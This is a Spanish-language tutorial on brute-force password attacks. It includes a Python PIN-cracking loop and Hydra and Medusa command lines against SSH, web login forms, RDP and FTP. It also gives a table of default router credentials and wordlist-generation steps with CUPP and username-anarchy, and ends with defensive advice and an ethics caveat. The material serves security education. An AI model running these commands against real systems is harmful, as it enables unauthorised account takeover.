Secciones
1. Introducción: ¿Qué es un Ataque de Fuerza Bruta?
Imagina que tienes una caja fuerte con un código de 4 dígitos. Un ladrón prueba todas las combinaciones posibles, desde 0000 hasta 9999, hasta abrirla. Eso, en esencia, es un ataque de fuerza bruta: probar sistemáticamente todas las opciones hasta encontrar la correcta. En el mundo digital, este método se usa para descifrar contraseñas, claves de cifrado o acceder a sistemas protegidos.
1.1. Factores que Influyen en el Éxito:
- Complejidad de la contraseña: Una contraseña como
P@ssw0rd!2024
es más difícil de crackear que1234
. - Potencia computacional: Una GPU moderna puede probar millones de combinaciones por segundo.
- Medidas de seguridad: Bloqueos de cuenta, CAPTCHAs o límites de intentos frenan estos ataques.
2. Tipos de Ataques de Fuerza Bruta
No todos los ataques son iguales. Aquí los más comunes:
2.1. Fuerza Bruta Simple
Prueba todas las combinaciones posibles. Ejemplo: crackear un PIN de 4 dígitos (10,000 opciones).
# Script para crackear un PIN de 4 dígitos
import requests
ip = "127.0.0.1"
port = 1234
for pin in range(10000):
formatted_pin = f"{pin:04d}"
response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
if 'flag' in response.json():
print(f"PIN correcto: {formatted_pin}")
break
2.2. Ataque de Diccionario
Usa listas predefinidas de contraseñas comunes (ej: rockyou.txt
). Ideal si el objetivo usa contraseñas débiles como password
o qwerty
.
2.3. Ataque Híbrido
Combina diccionarios con modificaciones. Ejemplo: añadir números al final (Password123
).
2.4. Credential Stuffing
Aprovecha contraseñas filtradas para acceder a otras cuentas. ¡No reutilices contraseñas!
3. Herramientas Imprescindibles
3.1. Hydra
El «martillo» de los ataques de fuerza bruta.
- Instalación:
sudo apt-get install hydra
- Ejemplo: Ataque a SSH
hydra -L usuarios.txt -P contraseñas.txt ssh://192.168.1.100 -t 4
- Ataque a un Formulario Web:
hydra -l admin -P rockyou.txt www.example.com http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"
2. Medusa
Alternativa rápida y modular.
- Ataque a FTP:
medusa -h 192.168.1.100 -U usuarios.txt -P contraseñas.txt -M ftp
3. Credenciales Predeterminadas Comunes
Dispositivo | Usuario | Contraseña |
---|---|---|
Router Linksys | admin | admin |
Router Netgear | admin | password |
Cisco Router | cisco | cisco |
Ubiquiti AP | ubnt | ubnt |
4. Casos Prácticos
4.1. Crackear Autenticación HTTP Básica
hydra -l usuario -P rockyou.txt 10.0.0.1 http-get /admin -s 8080
4.2. Fuerza Bruta en RDP
hydra -l administrador -x 6:8:aA1! 192.168.1.50 rdp
4.3. Generar Listas de Palabras Personalizadas con CUPP
cupp -i
# Responde preguntas sobre el objetivo (nombre, mascota, fechas, etc.)
4.4. Generar Listas de Palabras Personalizadas con Username Anarchy
Genera nombres de usuario basados en datos del objetivo (ej: Jane Smith
→ jane_smith
, jsmith
).
username-anarchy Jane Smith > usernames.txt # Genera posibles usuarios
username-anarchy -i names.txt # Usa un archivo de entrada
4.5. Filtrado de Contraseñas por Políticas
Usa grep
para adaptar listas a políticas específicas:
Requisito | Comando |
---|---|
Mínimo 8 caracteres | grep -E '^.{8,}$' list.txt |
Incluir mayúsculas | grep '[A-Z]' list.txt |
Incluir números | grep '[0-9]' list.txt |
Excluir «password» | grep -vi 'password' list.txt |
Ejemplo Combinado:
grep -E '^.{8,}$' list.txt | grep '[A-Z]' | grep '[0-9]' > filtered.txt
5. Cómo Protegerte
- Contraseñas largas y complejas: Mínimo 12 caracteres con símbolos, números y mayúsculas.
- Autenticación en dos pasos (2FA): Añade una capa extra de seguridad.
- Monitoriza intentos fallidos: Bloquea IPs tras múltiples intentos.
6. Consideraciones Éticas
Estas técnicas deben usarse solo en entornos autorizados (como pruebas de penetración). Usarlas sin permiso es ilegal y puede tener consecuencias graves.
7. Conclusión
Los ataques de fuerza bruta son una amenaza real, pero entender cómo funcionan te permite defenderte mejor. Herramientas como Hydra o Medusa son poderosas, pero la educación y las buenas prácticas son tu mejor escudo.